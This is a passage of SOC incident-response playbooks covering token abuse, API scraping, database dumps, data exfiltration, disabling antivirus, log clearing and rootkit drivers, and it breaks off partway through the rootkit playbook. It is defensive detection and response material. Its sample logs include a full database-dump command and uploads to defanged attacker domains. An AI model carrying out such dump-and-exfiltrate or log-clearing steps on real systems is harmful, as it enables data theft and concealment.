- Playbook ID: SOC-PLAYBOOK-028
- Use Case Name: API Token Misuse
- MITRE ATT&CK Tactic: Initial Access
- Technique ID: T1528
- Technique Name: Steal Application Access Token
- Threat Category: Identity Abuse / Application Compromise
- Severity (Default): Critical
- Escalation Severity: Critical
- Applies To: APIs, Microservices, Cloud Platforms, SaaS
- SOC Ownership: L1 → L2 → IR Lead
- Incident Type: Token-Based Account Compromise

2. Threat Description

An attacker abuses a **compromised API token** (bearer token, OAuth token, PAT, service account key) to access backend services.

Because tokens:

Do not require username/password
Often bypass MFA
Appear as “legitimate application traffic”

This attack can remain **invisible to traditional login monitoring**.

3. Why This Detection Matters in 2026

In 2026, token abuse is one of the **most dangerous access vectors** because:

Tokens are long-lived
Tokens are often over-privileged
Detection is behaviour-based, not auth-based

Attackers prefer tokens because they enable:

Silent persistence
Automated access
Large-scale data extraction

This is a **stealth initial access technique**.

4. Detection Logic

Trigger alert when:

API calls made with token from new IP or ASN
Token used outside normal time window
Token accesses endpoints never used before
Token usage spikes suddenly

Increase severity if:

Token belongs to admin or service account
Token accesses sensitive data
Token used across multiple regions
Token created recently but heavily abused

5. Log Data

API Gateway Logs

2027-07-21 03:14:09 | API_CALL | token_id=svc-orders-01 |
endpoint=/api/v1/export | src_ip=185.220.xxx.xxx | region=EU

Historical Baseline

Normal usage: MY region, business hours, /api/v1/query only

Clear **token behaviour deviation**.

6. Possible Attack Scenarios

Scenario A – Source Code Leak

API token exposed in GitHub or CI/CD logs and reused by attacker.

Scenario B – Cloud Compromise

Attacker extracts tokens from compromised cloud workloads or containers.

Scenario C – OAuth Abuse

Attacker steals OAuth access token and reuses it without triggering login alerts.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which token is used

What service owns the token

Is the access pattern normal

Is the source IP expected

Immediate Checks

Token creation date

Token privilege scope

Historical usage baseline

IP reputation

Decision

Abnormal token usage → Incident

L2 Analyst – Deep Analysis

Analysis Steps

Map all API endpoints accessed

Review token permissions

Check for data exfiltration

Check for token reuse elsewhere

High-Risk Indicators

Token used from TOR/VPN

Access to export or admin APIs

High-volume or scripted calls

Cross-region usage

8. Incident Escalation Criteria

Always escalate to Incident when:

Token behaviour deviates significantly

Sensitive APIs accessed

Escalate to Crisis if:

Admin or root tokens abused

Data exfiltration confirmed

Multiple services affected

9. Containment Actions

Immediate SOC Actions

Revoke compromised API token

Block source IPs

Throttle or disable affected APIs

Extended IR Actions

Rotate all related secrets

Audit source code and CI/CD pipelines

Check for additional exposed tokens

Notify application owners

10. Recovery & Validation

Confirm token revocation effective

Confirm new tokens scoped minimally

Validate no further abnormal API calls

Monitor closely for re-abuse

11. Prevention & Hardening

Control: Token Hygiene

Action: Short-lived tokens and rotation

Control: Least Privilege

Action: Restrict API scopes

Control: Behavioural Monitoring

Action: Baseline normal token usage

Control: Secrets Management

Action: Remove tokens from code and logs

12. Mapping to NIST Incident Response

Preparation: Token governance and logging

Detection: API anomaly alert

Analysis: Token behaviour review

Containment: Token revocation

Eradication: Secret rotation

Recovery: Secure token redeployment

Lessons Learned: Token lifecycle controls

13. SOC Perspective

Tokens are passwords that never expire
unless you force them to.

If a token is abused,
assume silent persistence.

Revoke first, investigate second,
and rotate everything related.

BYZINMER

[IMPACT] PLAYBOOK 29: EXCESSIVE API CALLS – AUTOMATED SCRAPING AND ABUSE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-029

Use Case Name: Excessive API Calls

MITRE ATT&CK Tactic: Impact

Technique ID: T1499

Technique Name: Endpoint Denial of Service

Threat Category: API Abuse / Resource Exhaustion

Severity (Default): High

Escalation Severity: Critical (if service degradation or outage occurs)

Applies To: Public APIs, Partner APIs, Internal Microservices

SOC Ownership: L1 → L2 → IR Lead

Incident Type: Service Abuse and Availability Impact

2. Threat Description

An attacker uses **automated scripts or bots** to generate an excessive volume of API requests.

The objective may include:

- Data scraping or enumeration

- Business logic abuse

- Credential or object enumeration

- Resource exhaustion leading to partial or full DoS

The traffic often appears “valid” at the protocol level, making detection **behavioural rather than signature-based**.

3. Why This Detection Matters in 2026

In 2026, APIs are core business infrastructure.

Attackers abuse APIs because:

- Authentication is token-based

- Rate limits are often misconfigured

- Scraping mimics legitimate integrations

Unchecked API abuse can result in:

Service degradation
Financial loss
Data leakage
Regulatory impact

This is both a **security and availability risk**.

4. Detection Logic

Trigger alert when:

API request rate exceeds historical baseline
Single token or IP generates high request volume
Repeated access to enumerate endpoints or objects
Spike in 4xx or 5xx responses

Increase severity if:

Traffic targets sensitive endpoints
Requests occur outside normal business hours
Requests originate from TOR/VPN or foreign ASNs
Application performance degrades

5. Log Data

API Gateway Logs

2027-08-02 01:44:03 | API_CALL | token=public-app-01 |
endpoint=/api/v1/users | count=1200/min | src_ip=185.193.xxx.xxx

Service Health Metrics

2027-08-02 01:45:12 | API_LATENCY | endpoint=/api/v1/users | latency=4300ms

Indicates **automated abuse impacting service performance**.

6. Possible Attack Scenarios

Scenario A – Data Scraping

Bot systematically enumerates customer or product data via public APIs.

Scenario B – Partner API Abuse

Compromised partner token abused to extract large datasets.

Scenario C – Application-Level DoS

High request volume exhausts backend resources without network-layer flooding.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which endpoint is targeted

What token or IP is responsible

Is service performance affected

Is traffic authenticated or anonymous

Immediate Checks

API rate metrics

Token ownership and scope

Source IP reputation

Error rate trends

Decision

High-volume but contained → Escalate to L2

Service degradation observed → Incident

L2 Analyst – Deep Analysis

Analysis Steps

Identify scraping patterns

Map request sequences

Review token permissions

Check for data access or export

High-Risk Indicators

Systematic enumeration

High concurrency from single source

Abuse of export or search endpoints

Sustained high-volume traffic

8. Incident Escalation Criteria

Escalate to Incident when:

API performance degraded

Sensitive endpoints abused

Escalate to Critical if:

Customer-facing outage occurs
Data scraping confirmed
Multiple services impacted

9. Containment Actions

Immediate SOC Actions
Apply rate limiting
Block abusive IPs or ASNs
Throttle or disable affected tokens

Extended IR Actions
Rotate abused API tokens
Notify application owners
Enable stricter WAF or API gateway rules
Preserve logs for forensic analysis

10. Recovery & Validation

Confirm traffic returns to baseline
Confirm no data leakage occurred
Validate API performance stability
Monitor for re-abuse attempts

11. Prevention & Hardening

Control: API Rate Limiting
Action: Enforce per-IP and per-token limits

Control: Behavioural Analytics
Action: Detect scraping patterns

Control: Authentication
Action: Strengthen token scoping

Control: WAF and API Gateway
Action: Enforce anomaly detection rules

12. Mapping to NIST Incident Response

Preparation: API governance and monitoring
Detection: API anomaly alert
Analysis: Traffic pattern analysis
Containment: Rate limiting and blocking
Eradication: Token rotation

Recovery: Service stabilisation

Lessons Learned: API abuse controls tuning

13. SOC Perspective

If an API is exposed,
someone will try to abuse it.

High traffic is not always success,
sometimes it's an attack.

Baseline behaviour, throttle early,
and protect availability as a security priority.

BY ZIMMER

[EXFILTRATION] 30: DATABASE DUMP ACTIVITY – STRUCTURED DATA EXFILTRATION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-030

Use Case Name: Database Dump Activity

MITRE ATT&CK Tactic: Exfiltration

Technique ID: T1041

Technique Name: Exfiltration Over Command and Control Channel

Threat Category: Data Theft / Advanced Exfiltration

Severity (Default): Critical

Escalation Severity: Critical

Applies To: Databases (SQL/NoSQL), Data Warehouses, Cloud DB Services

SOC Ownership: L1 → L2 → IR Lead

Incident Type: Confirmed Data Exfiltration

2. Threat Description

An attacker performs **large-volume database exports** (full dumps or targeted table extracts) and stages the data for **exfiltration over encrypted C2 channels**.

Typical actions include:

- Running database dump commands
- Exporting tables to files or object storage
- Compressing and encrypting data
- Exfiltrating via HTTPS, DNS or cloud storage

This indicates the attacker has **meaningful access** and clear monetisation or espionage intent.

3. Why This Detection Matters in 2026

In 2026, database breaches have **immediate regulatory, financial and reputational impact**.

Attackers focus on databases because:

- They contain structured, high-value data
- Exports can be automated quietly
- Exfiltration can blend into normal traffic

Once a dump occurs, **data exposure is likely irreversible**.

4. Detection Logic

Trigger alert when:

- Unusual database export commands executed
- Large SELECT queries or full-table scans occur
- Sudden spike in database read volume
- Database files created outside normal paths

Increase severity if:

- Exports occur outside business hours
- Service or admin accounts used
- Data compressed or encrypted after export
- Outbound encrypted traffic follows

5. Log Data

Database Audit Logs

2027-08-19 02:37:14 | DB_EXPORT | user=svc-report |
command=mysqlDump --all-databases --single-transaction

File System Activity

2027-08-19 02:38:02 | FILE_CREATE | file=/tmp/db_backup_0819.sql.gz | size=18GB

Network Telemetry

2027-08-19 02:41:55 | HTTPS_UPLOAD | dest=cdn-sync[.]cloud | bytes_sent=18GB

Clear **dump** → **stage** → **exfiltration chain**.

6. Possible Attack Scenarios

Scenario A – Post-Compromise Data Theft

Attacker with stolen admin credentials exports customer and transaction databases.

Scenario B – Cloud Database Abuse

Compromised cloud service account exports data to object storage and exfiltrates externally.

Scenario C – Insider-Assisted Exfiltration

Legitimate access abused to dump and exfiltrate sensitive datasets.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which database was accessed

Who initiated the export

What volume of data was read

Was the activity authorised

Immediate Checks

Database audit logs

User or service account context

Time and frequency of exports

Associated network activity

Decision

Large unauthorised export → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

Identify tables and records accessed

Estimate data volume and sensitivity

Trace exfiltration path

Check for additional dumps or staging files

High-Risk Indicators

Full database dumps

Compression or encryption usage

Outbound traffic immediately after export

Use of TOR, VPN or cloud storage endpoints

8. Incident Escalation Criteria

Always escalate to Incident when:

Database dump confirmed

Sensitive data accessed

Escalate to Crisis if:

Personally identifiable or regulated data involved

Multiple databases affected

External exfiltration confirmed

9. Containment Actions

Immediate SOC Actions

- Stop database export processes
- Revoke compromised credentials
- Block exfiltration destinations

Extended IR Actions

- Isolate affected database servers
- Rotate database and application credentials
- Preserve database and network logs
- Notify legal, compliance and data owners

10. Recovery & Validation

- Confirm no further exports occur
- Validate database integrity
- Assess data exposure scope
- Monitor for follow-on exfiltration attempts

11. Prevention & Hardening

- Control: Database Access Control
- Action: Enforce least privilege and role separation

- Control: Database Activity Monitoring
- Action: Alert on large exports and scans

- Control: Network Monitoring
- Action: Detect large outbound encrypted transfers

- Control: Data Loss Prevention
- Action: Monitor and block sensitive data exfiltration

12. Mapping to NIST Incident Response

- Preparation: Data governance and monitoring
- Detection: Database export alert
- Analysis: Data access and exfiltration review
- Containment: Credential revocation and traffic blocking
- Eradication: Access removal
- Recovery: Data and service validation
- Lessons Learned: Database security tightening

13. SOC Perspective

Attackers don't steal data by accident.

If a database dump occurs,
the breach has already crossed the finish line.

Your job is to **stop the bleed**,
measure the damage,
and make sure it never happens again.

BYZZZMER

[EXFILTRATION] PLAYBOOK 31: LARGE OUTBOUND UPLOAD – MASS DATA EXFILTRATION OVER WEB

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-031
Use Case Name: Large Outbound Upload
MITRE ATT&CK Tactic: Exfiltration
Technique ID: T1567
Technique Name: Exfiltration Over Web Service
Threat Category: Data Exfiltration / Data Breach
Severity (Default): Critical
Escalation Severity: Critical
Applies To: Endpoints, Servers, Proxies, Cloud Workloads
SOC Ownership: L1 → L2 → IR Lead
Incident Type: Confirmed Data Exfiltration

2. Threat Description

An attacker stages and uploads **large volumes of sensitive files** to external servers using **HTTPS-based web services**.

Common exfiltration paths include:

- Custom attacker-controlled servers
- Cloud storage platforms
- File-sharing services
- Content delivery networks

Because HTTPS is encrypted, the traffic often **blends into normal web activity**, making detection volume-based and behavioural.

3. Why This Detection Matters in 2026

In 2026, attackers rarely use noisy exfiltration.

Instead, they:

- Compress and encrypt data
- Upload slowly or during off-hours
- Use legitimate cloud platforms

Once large outbound uploads are detected, **data loss is likely already in progress**.

4. Detection Logic

Trigger alert when:

Outbound data volume exceeds baseline
Single host uploads unusually large data
Uploads occur outside business hours
New external destinations observed

Increase severity if:

Destination is newly registered or unknown
Uploads follow database dumps or staging activity
Sensitive file types involved
Uploads are encrypted or chunked

5. Log Data

Proxy Logs

2027-09-03 01:58:21 | HTTPS_UPLOAD | src=APP-SRV-07 |
dest=filesync-share[.]cloud | bytes_sent=42GB

Endpoint File Telemetry

2027-09-03 01:55:03 | FILE_READ | files=*.csv, *.sql, *.pdf | directory=/data/export/

Clear **staging followed by mass outbound transfer.**

6. Possible Attack Scenarios

Scenario A – Post-Database Dump Exfiltration
Attacker uploads exported database files to cloud storage.

Scenario B – Insider-Assisted Data Theft
User with access stages sensitive files and uploads externally.

Scenario C – Ransomware Pre-Exfiltration
Data exfiltrated prior to encryption for double-extortion.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer
Which host is uploading data
What volume is transferred

Where is the data going
Is the activity authorised

Immediate Checks
Outbound traffic volume
Destination reputation
User or service context
Time of activity

Decision
Unusual large upload → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps
Identify files staged for upload
Assess data sensitivity
Trace upload destinations
Check for prior dump or staging activity

High-Risk Indicators
Large compressed archives
Uploads to unfamiliar domains
Off-hours transfer
Repeated chunked uploads

8. Incident Escalation Criteria

Always escalate to Incident when:

Large unauthorised uploads confirmed

Escalate to Crisis if:

Regulated or customer data involved
Multiple systems exfiltrated
Uploads continue despite containment

9. Containment Actions

Immediate SOC Actions
Block exfiltration destinations
Throttle outbound traffic
Isolate affected systems

Extended IR Actions

Preserve network and file logs
Identify scope of exposed data
Notify data owners and legal teams
Coordinate with cloud providers

10. Recovery & Validation

Confirm outbound uploads stopped
Confirm no additional staging files exist
Validate system integrity
Monitor for renewed exfiltration attempts

11. Prevention & Hardening

Control: Network Monitoring
Action: Alert on abnormal outbound volume

Control: DLP
Action: Detect sensitive data transfers

Control: Proxy Controls
Action: Restrict unsanctioned file-sharing services

Control: Egress Filtering
Action: Limit outbound destinations

12. Mapping to NIST Incident Response

Preparation: Data exfiltration controls
Detection: Large upload alert
Analysis: Data movement review
Containment: Traffic blocking
Eradication: Access removal
Recovery: System validation
Lessons Learned: Egress control improvement

13. SOC Perspective

Attackers don't need fancy malware to steal data.

If the data leaves the network,
the damage is already real.

Detect early, block fast,
and assume every byte matters.

BYZANTINE

[EXFILTRATION] PLAYBOOK 32: CLOUD STORAGE SYNC SPIKE – EXFILTRATION VIA TRUSTED SAAS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-032
Use Case Name: Cloud Storage Sync Spike
MITRE ATT&CK Tactic: Exfiltration
Technique ID: T1567.002
Technique Name: Cloud Storage
Threat Category: Data Exfiltration / SaaS Abuse
Severity (Default): Critical
Escalation Severity: Critical
Applies To: Endpoints, SaaS Platforms, Cloud Identity
SOC Ownership: L1 → L2 → IR Lead
Incident Type: Confirmed Data Exfiltration via Trusted Services

2. Threat Description

A compromised endpoint or cloud account synchronises **large volumes of confidential data** to attacker-controlled cloud storage using trusted SaaS platforms such as **Microsoft OneDrive, Google Drive or Dropbox**.

Because these services are commonly allow-listed and encrypted, the activity often **blends into legitimate user behaviour**, making detection behavioural and volume-based.

3. Why This Detection Matters in 2026

In 2026, attackers increasingly prefer **trusted SaaS for exfiltration** because:

- Outbound traffic is rarely blocked
- TLS hides file contents
- Sync clients run continuously in the background

Once data syncs to attacker-controlled storage, **recovery is extremely difficult** and exposure is likely permanent.

4. Detection Logic

Trigger alert when:

- Sudden spike in cloud sync volume
- Unusual file types synced (DB dumps, archives)

Sync occurs outside business hours
New device or IP initiates sync

Increase severity if:

Account recently logged in from unusual location
Large number of sensitive files involved
Sync follows database dump or staging activity
Multiple endpoints syncing simultaneously

5. Log Data

Endpoint Telemetry

2027-09-11 02:12:44 | CLOUD_SYNC | app=OneDrive |
files_synced=18,450 | bytes=37GB | user=svc-finance

Cloud Audit Logs

2027-09-11 02:13:02 | FILE_UPLOAD | account=svc-finance |
destination=ExternalSharedFolder | ip=185.231.xxx.xxx

Clear **trusted sync channel abused for exfiltration.**

6. Possible Attack Scenarios

Scenario A – Token-Based Abuse

Attacker steals OAuth token and silently syncs sensitive files to their own cloud tenant.

Scenario B – Compromised Endpoint

Malware stages data locally and relies on installed sync client to exfiltrate.

Scenario C – Insider-Style Abuse

Valid account used to bulk-sync confidential data under the guise of normal work.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which account initiated the sync
What volume and file types were synced
Is the destination tenant legitimate
Is the activity normal for this user

Immediate Checks

- Cloud sync volume baseline
- Recent login activity
- Device posture and health
- File sensitivity classification

Decision

Unusual high-volume sync → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Enumerate synced files and folders
- Assess data sensitivity and scope
- Review token and session usage
- Check for parallel exfiltration methods

High-Risk Indicators

- Service or privileged account used
- Sync to external or unknown tenant
- Off-hours sustained upload
- Correlation with prior compromise

8. Incident Escalation Criteria

Always escalate to Incident when:

High-volume unauthorised sync confirmed

Escalate to Crisis if:

- Regulated or customer data involved
- Multiple accounts or endpoints affected
- Sync cannot be immediately halted

9. Containment Actions

Immediate SOC Actions

- Suspend cloud account or sync client
- Revoke sessions and OAuth tokens
- Block external sharing or destinations

Extended IR Actions

- Isolate affected endpoint
- Rotate credentials and secrets

Preserve cloud and endpoint logs
Engage legal, compliance and data owners

10. Recovery & Validation

Confirm sync stopped across all devices
Validate no additional cloud shares exist
Assess data exposure and notification needs
Monitor for renewed sync attempts

11. Prevention & Hardening

Control: Cloud DLP
Action: Detect and block sensitive data sync

Control: Conditional Access
Action: Restrict sync by device, IP and location

Control: OAuth Governance
Action: Monitor and limit token scopes

Control: Cloud Audit Logging
Action: Enable detailed sync and sharing logs

12. Mapping to NIST Incident Response

Preparation: Cloud data governance
Detection: Sync anomaly alert
Analysis: Data movement assessment
Containment: Account and token revocation
Eradication: Access removal
Recovery: Secure cloud configuration
Lessons Learned: SaaS exfiltration controls

13. SOC Perspective

Trusted services make exfiltration easy.

If the sync spikes,
assume the data is already leaving.

Block first, revoke access,
and treat SaaS as part of your perimeter.

[DEFENSE EVASION] PLAYBOOK 33: DISABLED ANTIVIRUS – ENDPOINT PROTECTION TAMPERING

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-033

Use Case Name: Disabled Antivirus

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1562.001

Technique Name: Disable or Modify Tools

Threat Category: Defense Evasion / Post-Compromise

Severity (Default): Critical

Escalation Severity: Critical

Applies To: Endpoints, Servers, VDI

SOC Ownership: L1 → L2 → IR Lead

Incident Type: Active Compromise with Defense Evasion

2. Threat Description

An attacker **disables, stops or tampers with endpoint security controls** (EDR/AV) using administrative privileges.

Common methods include:

- Stopping security services

- Disabling real-time protection

- Adding exclusion paths or processes

- Tampering with agent binaries or drivers

This action is typically taken **after initial access** and signals intent to operate undetected.

3. Why This Detection Matters in 2026

In 2026, disabling endpoint protection is a **high-confidence malicious action**.

Attackers do this to:

- Execute payloads without interference

- Dump credentials

- Deploy ransomware or exfiltrate data

Once EDR/AV is disabled, **visibility drops sharply** and dwell time increases.

4. Detection Logic

Trigger alert when:

Security service stopped or disabled
Protection mode switched to passive/off
EDR agent heartbeat lost unexpectedly
Exclusions added for suspicious paths

Increase severity if:

Action performed by non-IT account
Occurs shortly after suspicious login
Followed by malware execution
Multiple endpoints affected

5. Log Data

Endpoint Security Logs

2027-09-22 03:07:18 | SECURITY_SERVICE_STOP |

service=EDR-Agent | user=admin.local

System Event Logs

2027-09-22 03:07:21 | SERVICE_CONTROL |

action=Stop | target=AntiVirusService

Indicates **intentional security control tampering**.

6. Possible Attack Scenarios

Scenario A – Ransomware Preparation

Attacker disables EDR before deploying ransomware payloads.

Scenario B – Credential Dumping Enablement

Security tools disabled to allow LSASS access and dumping.

Scenario C – Insider or Abused Admin Account

Legitimate admin credentials abused to weaken defenses before further actions.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which protection was disabled

Who initiated the action
Was the change authorised
What happened immediately after

Immediate Checks
User and role validation
Change management records
Recent alerts on the host
Agent health across fleet

Decision
Unauthorised disablement → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps
Review process tree around disable event
Check for exclusions or policy changes
Check for follow-on malicious activity
Correlate with lateral movement

High-Risk Indicators
Disablement followed by payload execution
Multiple endpoints impacted
Admin account misuse
Persistence creation shortly after

8. Incident Escalation Criteria

Always escalate to Incident when:

Security tools disabled without approval

Escalate to Crisis if:

Multiple hosts affected
Ransomware indicators present
EDR visibility lost environment-wide

9. Containment Actions

Immediate SOC Actions
Isolate affected endpoint
Re-enable security services
Lock or reset initiating account

Extended IR Actions

Reinstall or repair EDR agent
Rotate admin credentials
Hunt for similar disable actions
Preserve logs and artefacts

10. Recovery & Validation

Confirm EDR/AV fully operational
Validate no exclusions remain
Ensure agent reporting restored
Monitor closely for repeat attempts

11. Prevention & Hardening

Control: Tamper Protection
Action: Enable EDR anti-tamper features

Control: Privileged Access Management
Action: Restrict who can modify security tools

Control: Monitoring
Action: Alert on service stop and policy changes

Control: Least Privilege
Action: Remove unnecessary admin rights

12. Mapping to NIST Incident Response

Preparation: Endpoint security governance
Detection: Tool disablement alert
Analysis: Control tampering review
Containment: Endpoint isolation
Eradication: Tool restoration
Recovery: Protection validation
Lessons Learned: Privilege and tamper controls

13. SOC Perspective

Attackers turn off the lights
before they move freely.

If endpoint protection is disabled,
assume the attacker is already inside.

Respond immediately, restore visibility,
and hunt aggressively.

BYZUMER

[DEFENSE EVASION] PLAYBOOK 34: TAMPERED AUDIT LOGS – INDICATOR REMOVAL

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-034
Use Case Name: Tampered Audit Logs
MITRE ATT&CK Tactic: Defense Evasion
Technique ID: T1070
Technique Name: Indicator Removal
Threat Category: Defense Evasion / Anti-Forensics
Severity (Default): High
Escalation Severity: Critical (if forensic visibility lost)
Applies To: Endpoints, Servers, Databases, Cloud Workloads
SOC Ownership: L1 → L2 → IR Lead
Incident Type: Active Compromise with Anti-Forensics

2. Threat Description

An attacker **selectively deletes, truncates or alters audit logs** to remove evidence of malicious activity while keeping systems operational.

Common actions include:

- Clearing Windows Event Logs
- Deleting application or database logs
- Altering timestamps or entries
- Disabling or redirecting log generation

This activity typically occurs **after successful compromise** and indicates intent to persist undetected.

3. Why This Detection Matters in 2026

In 2026, attackers understand SOC workflows and logging dependencies.

Log tampering allows attackers to:

- Hide initial access and lateral movement
- Delay or derail investigations
- Increase dwell time significantly

Once logs are altered, **forensic reconstruction becomes incomplete**, increasing business and regulatory risk.

4. Detection Logic

Trigger alert when:

Unexpected log deletions or truncations occur
Log volume drops suddenly to zero
Event IDs associated with log clearing appear
Logging services stop or restart unexpectedly

Increase severity if:

Log tampering follows suspicious login or malware alerts
Multiple log sources affected
Actions performed by non-logging administrators
Time gaps appear in correlated logs

5. Log Data

System Event Logs

2027-09-29 02:46:11 | EVENT_LOG_CLEARED | log=Security | user=svc-admin

SIEM Health Monitoring

2027-09-29 02:47:05 | LOG_VOLUME_DROP | host=APP-SRV-03 |
source=WindowsSecurity | count=0

Indicates **intentional removal of forensic evidence**.

6. Possible Attack Scenarios

Scenario A – Post-Lateral Movement Cleanup

Attacker clears logs after moving laterally to hide access paths.

Scenario B – Pre-Exfiltration Cover-Up

Logs removed to mask database access or data staging activity.

Scenario C – Insider Threat

Privileged user selectively deletes logs to conceal unauthorised actions.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which logs were affected

Who performed the action
Was the action authorised
What events preceded the tampering

Immediate Checks

Event IDs related to log clearing
Change management records
Recent alerts on the same host
Log gaps across correlated sources

Decision

Unauthorised log tampering → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

Correlate remaining logs from other sources
Reconstruct timeline using network, EDR and backup logs
Identify commands or tools used
Determine scope of visibility loss

High-Risk Indicators

Security log cleared
Multiple log sources impacted
Admin or service account misuse
Log tampering followed by continued activity

8. Incident Escalation Criteria

Always escalate to Incident when:

Security or audit logs are tampered

Escalate to Crisis if:

Multiple systems affected
Critical forensic data lost
Compliance or regulatory logging impacted

9. Containment Actions

Immediate SOC Actions

Isolate affected systems
Preserve remaining logs immediately
Suspend accounts involved in tampering

Extended IR Actions

Collect logs from backups or secondary sources
Enable emergency logging policies
Hunt for similar tampering actions environment-wide
Engage legal and compliance teams

10. Recovery & Validation

Confirm logging restored and functioning
Validate log retention and forwarding
Assess forensic data gaps
Monitor closely for repeat tampering

11. Prevention & Hardening

Control: Centralised Logging
Action: Forward logs off-host in near real time

Control: Log Integrity
Action: Enable write-once or immutable storage

Control: Privileged Access Control
Action: Restrict log management permissions

Control: Monitoring
Action: Alert on log clearing and volume drops

12. Mapping to NIST Incident Response

Preparation: Centralised logging architecture
Detection: Log tampering alert
Analysis: Timeline reconstruction
Containment: System isolation
Eradication: Privilege and access correction
Recovery: Logging restoration
Lessons Learned: Anti-forensics controls

13. SOC Perspective

Attackers erase logs
when they fear discovery.

If logs are missing,
assume more is hidden.

Preserve what remains,
rebuild the timeline,
and treat tampering as confirmation of compromise.

BYZANTINE

[DEFENSE EVASION] PLAYBOOK 35: CLEARED WINDOWS LOGS – EVENT LOG DESTRUCTION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-035
Use Case Name: Cleared Windows Logs
MITRE ATT&CK Tactic: Defense Evasion
Technique ID: T1070.001
Technique Name: Clear Windows Event Logs
Threat Category: Defense Evasion / Anti-Forensics
Severity (Default): High
Escalation Severity: Critical (if Security or PowerShell logs cleared)
Applies To: Windows Endpoints, Servers, Domain Controllers
SOC Ownership: L1 → L2 → IR Lead
Incident Type: Confirmed Anti-Forensic Activity

2. Threat Description

An attacker **clears Windows Event Logs** to remove forensic evidence and disrupt SOC investigation.

Commonly targeted logs include:

- Security Event Log
- System Event Log
- PowerShell Operational Log
- Application Event Log

This action is almost never legitimate outside of controlled maintenance and strongly indicates **post-compromise cleanup**.

3. Why This Detection Matters in 2026

In 2026, Windows logs remain the **primary forensic source** for:

- Authentication activity
- Privilege escalation
- Process execution
- Lateral movement

Clearing logs allows attackers to:

Hide credential abuse
Obscure malware execution
Delay incident detection

Once logs are cleared, **timeline reconstruction becomes incomplete.**

4. Detection Logic

Trigger alert when:

Windows Event Log clear event detected
Sudden reset of log sequence numbers
Log file sizes drop to zero
Logging services restarted unexpectedly

Increase severity if:

Security log cleared
Multiple logs cleared within short time
Action performed by non-IT account
Log clearing follows suspicious activity

5. Log Data

Windows Security Event

2027-10-04 03:12:19 | EVENT_ID=1102 | Log=Security | User=svc-admin

SIEM Health Alert

2027-10-04 03:12:35 | LOG_RESET | host=DC-01 | source=WindowsSecurity

Clear evidence of **intentional event log destruction.**

6. Possible Attack Scenarios

Scenario A – Credential Theft Cover-Up

Attacker clears logs after dumping credentials to remove evidence.

Scenario B – Ransomware Preparation

Logs cleared to delay detection before encryption stage.

Scenario C – Privileged Insider

Administrator clears logs to conceal unauthorised access.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which logs were cleared
- Who initiated the action
- Was there a maintenance window
- What activity occurred before log clearing

Immediate Checks

- Event ID 1102 occurrences
- Account role and permissions
- Recent alerts on same host
- Log gaps in correlated sources

Decision

Unauthorised log clearing → Incident immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Reconstruct timeline using EDR, proxy and network logs
- Review backup or forwarded logs
- Identify commands used to clear logs
- Assess scope of forensic loss

High-Risk Indicators

- Security log cleared
- Domain controller affected
- Multiple hosts impacted
- Log clearing followed by continued activity

8. Incident Escalation Criteria

Always escalate to Incident when:

- Security or PowerShell logs cleared

Escalate to Crisis if:

- Domain controllers affected
- Multiple systems impacted
- Compliance-required logs destroyed

9. Containment Actions

Immediate SOC Actions

Isolate affected host
Preserve remaining logs immediately
Suspend account used to clear logs

Extended IR Actions

Collect logs from central SIEM or backups
Increase logging verbosity temporarily
Hunt for log clearing across environment
Engage legal and compliance teams

10. Recovery & Validation

Confirm logging services restored
Validate logs forwarding correctly
Assess investigation blind spots
Monitor closely for repeat clearing

11. Prevention & Hardening

Control: Centralised Logging
Action: Forward logs off-host continuously

Control: Log Protection
Action: Restrict log clearing permissions

Control: Monitoring
Action: Alert immediately on Event ID 1102

Control: Immutable Storage
Action: Retain logs in write-once repositories

12. Mapping to NIST Incident Response

Preparation: Central logging and retention
Detection: Event log clearing alert
Analysis: Cross-source correlation
Containment: Account suspension
Eradication: Privilege correction
Recovery: Logging restoration
Lessons Learned: Anti-forensics detection

13. SOC Perspective

Clearing Windows logs is not noise.
It is an admission of guilt.

If the logs are gone,
assume the attacker is still present.

Preserve what remains,
hunt aggressively,
and treat this as confirmed compromise.

BYZANTINE

[DEFENSE EVASION] PLAYBOOK 36: ROOTKIT-LIKE DRIVER LOAD

– KERNEL-LEVEL STEALTH

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-036
Use Case Name: Rootkit-Like Driver Load
MITRE ATT&CK Tactic: Defense Evasion
Technique ID: T1014
Technique Name: Rootkit
Threat Category: Stealth Persistence / Advanced Evasion
Severity (Default): Critical
Escalation Severity: Crisis
Applies To: Windows Endpoints, Servers, High-Value Assets
SOC Ownership: L2 → IR Lead → DFIR
Incident Type: Advanced Persistent Threat Activity

2. Threat Description

An attacker installs a **malicious kernel-mode driver** to gain stealthy, low-level control of the operating system.

Kernel-level rootkits can:

- Hide processes, files, registry keys
- Conceal network connections
- Bypass or blind user-mode EDR and AV
- Intercept system calls

This is **post-compromise behaviour** associated with highly capable adversaries.

3. Why This Detection Matters in 2026

In 2026, kernel-mode attacks represent a **worst-case scenario**.

Attackers deploy rootkits to:

- Maintain long-term persistence
- Evade all user-mode security controls
- Operate undetected for months

Once a rootkit is active, **traditional endpoint visibility cannot be trusted**.

4. Detection Logic

Trigger alert when:

- Unsigned or suspicious drivers loaded
- Driver loaded from non-standard path
- Unexpected kernel driver install event
